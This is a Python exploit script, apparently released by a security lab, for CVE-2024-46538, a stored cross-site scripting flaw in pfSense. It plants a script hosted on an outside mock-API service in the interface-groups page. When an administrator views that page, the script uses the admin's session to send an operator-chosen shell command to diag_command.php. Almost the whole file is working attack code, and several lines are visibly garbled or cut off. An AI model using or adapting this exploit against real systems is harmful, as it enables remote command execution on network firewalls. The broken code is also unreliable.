import re
from faker import Faker
import random
import string
import uuid
import requests
import time
import sys
import rich_click as click
# Turn off the InsecureRequestWarning
requests.packages.urllib3.disable_warnings(
requests.packages.urllib3.exceptions.InsecureRequestWarning
)
# Banner
banner = """
.+@%%%@-
.:%%=::::::@.
.-*@@@@%+-::=%@%+--:@.
:#@*-..#%-:::::::::+@:=%@@%@@%=
-@#:....:@-::::::::::::=@....=@#--@
.%#:.......:-:*%%%%%*-::::-@.......=@@.
##.....................-*%@%=.........-@:
.@:.......................................#*
-@..........................................+# .:-----::.. .::..
:@............................................+# *@@@@@@@@@@@@@% -%@@@@@@@@@@%- *%@@@@@@@@%#.
.@:.............................................%- %@@@@@@@@@@@@@@: %@@@@@@@@@@@@@@- *@@@@@@@@@@@@@@-
=#..............................................-@ %@@@@@@@@@@@@@@:-@@@@@@@@@@@@@@@-:@@@@@@@@@@@@@@@+
#=...............................................@ .-=+++++%@@@@@:+@@@@: -@@@@@--@@@@*....=@@@@@+
@:...............................................@ . .%@@@@@:+@@@@: =@@@@@-=@@@@- :@@@@@+
@:...+@%*:..................:=#@+................@ *@@@@@@@@@@@@@@ +@@@@%::::%@@@@@-=@@@@* *@@@@@+
%-...............................................@ @@@@@@@@@@@@@@= +@@@@@@@@@@@@@@@--@@@@@@@@@@@@@@@+
=#....+%@%+.................=#%%*-..............-@ .@@@@@@@@@@@@%: %@@@@@@@@@@@@@@:.%@@@@@@@@@@@@@@=
.@...% .@@:.............+% %@@:............#= .@@@@@. -*%%@@@@@@@@@: =%@@@@@@@@@@@@-
:@.-= -+@+............:@. *%@%...........=# .@@@@@@@@@@@@@@* %@@@@@. .@@@@@@:
-@.=@@@%+#...=@%@@-.....:@@@@@ @:..........+% @@@@@@@@@@@@@@@ @@@@@@ .@@@@@@.
:@-:::::....-++=+:#:.....:=++=:...........** #@@@@@@@@@@@@@% %@@@@# .@@@@@#
%#::::.................:::::::........:@: =%@@@@@@@@@% #@@@@: #@@@@+
.%#-::................:::::::......=@=
-@%:...........::..::::::::..=@#
@+@@%++*@#@+-:-+@*--=#%@*=**
%-:#.....%=........@=......:@
*+.......%-.............+#..@
@=......-@:......:%@%*#@@:.@#
-@%**#@+:%@*+@#+%...::..@.@-*%
:@.......%=.....@-..:@::%+.:::-@
%-......=#......%-..::--:...:::@.
#+......:@......:@-::::::....:+%
-=+@=......+#.......%%-::::...-@*.
-+-::::+@@@@@@@=%@@@@@@@@@@@@@@@#-::-+: Author: EQST(Experts, Qualified Security Team)
.=++=-:::::::::::::--===+++++++++++++- Github: https://github.com/EQSTLab/CVE-2024-46538
.:--====--:.
Analysis base : https://github.com/physicszq/web_issue/blob/main/pfsense/interfaces_groups_edit_file.md_xss.md
=============================================================================================================
CVE-2024-46538 : PfSense XSS Vulnerability
description: A cross-site scripting (XSS) vulnerability in pfsense v2.5.2 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the $pconfig variable at interfaces_groups_edit.php.
=============================================================================================================
"""
class PfExploit:
def __init__(self, id: str, pw: str, js: str, url: str, cmd: str):
self.loginId = id
self.loginPw = pw
self.url = url
self.cmd = cmd
self.jsId = None
self.jsUrl = js
self.jsSecret = None
self.fake = Faker()
def greeting() -> None:
print(banner)
def spinner(duration=10, interval=0.1):
spinner_chars = ['|', '/', '-', '\\']
end_time = time.time() + duration
while time.time() < end_time:
for char in spinner_chars:
sys.stdout.write(f'\r[{char}] Loading, please wait...')
sys.stdout.flush()
time.sleep(interval)
print("")
def add_protocol(self, url: str) -> str:
if not url.startswith(('http://', 'https://')):
return 'https://' + url
return url
def getJS(self) -> None:
# Used api mocky to make callback
url = "https://api.mocky.io/api/mock"
cmd = self.cmd
characters = string.ascii_letters # ascii letters to make random (Case sensitive)
secretRandom = ''.join(random.choice(characters) for _ in range(36))
body = {
"status":200,
"content":'var formData = new FormData();formData.append("__csrf_magic", csrfMagicToken);formData.append("txtCommand", "' + cmd + '");formData.append("txtRecallBuffer", "id");formData.append("submit", "EXEC");formData.append("dlPath", "");formData.append("ulfile", new Blob(), "");formData.append("txtPHPCommand", "");fetch("/diag_command.php", {method: "POST",body: formData}).then(response => response.text()).then(data => {const parser = new DOMParser();const doc = parser.parseFromString(data, "text/html");const contentDiv = doc.querySelector("div.content");if (contentDiv) {alert(contentDiv.textContent);} else {alert("No content found");}})',
"content_type":"application/javascript",
"charset":"UTF-8",
"secret":f"{secretRandom}",
"expiration":"never"
}
response = requests.post(url, json=body, verify=False)
data = response.json()
self.jsId = data.get('id')
self.jsSecret = data.get('secret')
self.jsUrl = f"{data.get('link')}/{str(uuid.uuid4())}.js"
def deleteJS(self) -> None:
url = f"https://api.mocky.io/api/mock/{self.jsId}"
body = {"id":f"{self.jsId}","secret":f"{self.jsSecret}"}
requests.delete(url, json=body, verify=False)
def getCSRFToken(self, url, cookies="") -> str:
url = f"{url}"
response = requests.get(url, verify=False, cookies=cookies)
match = re.search(r" str:
# Get login csrf token
url = f"{self.add_protocol(self.url)}/index.php"
token = self.getCSRFToken(url)
response = requests.get(url, verify=False)
match = re.search(r" None:
# Get csrf token
url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php"
sessid = self.getSession()
cookies = {
'PHPSESSID': sessid
}
token = self.getCSRFToken(url, cookies=cookies)
# Stored XSS Attack
url = f"{self.add_protocol(self.url)}/interfaces_groups_edit.php"
datas = {
'__csrf_magic':token,
'ifname': self.fake.last_name(),
'descr':'EQST_Lab_Pfsense_test',
'members[]': f'wan',
'save':'%E4%BF%9D%E5%AD%98'
}
response = requests.post(url, data=datas, cookies=cookies, verify=False, allow_redirects=False)
if response.status_code == 302:
print(f"[+] Done! Login Admin and check: \n{self.add_protocol(self.url)}/interfaces_groups.php")
return sessid
else:
print(f"[-] Attack Failed...")
exit(1)
# argument parsing with rich_click
@click.command()
@click.option(
"-i",
"--id",
required=True,
help="Specify a id to login",
)
@click.option(
"-p",
"--pw",
required=True,
help="Specify a password to login",
)
@click.option(
"-u",
"--url",
required=True,
help="Specify a URL or domain for vulnerability detection",
)
@click.option(
"-c",
"--cmd",
default="id",
help="Specify the command to execute",
)
@click.option(
"-j",
"--js",
default="",
help="[Optional] Specify a Callback javascript URL"
)
def main(id: str, pw: str, js: str, url: str, cmd: str) -> None:
cve_exploit = PfExploit(id, pw, js, url, cmd)
PfExploit.greeting()
PfExploit.spinner(duration=1)
# If js Url not exists
if cve_exploit.jsUrl == "":
cve_exploit.getJS()
cve_exploit.storeScript()
if __name__ == "__main__":
main()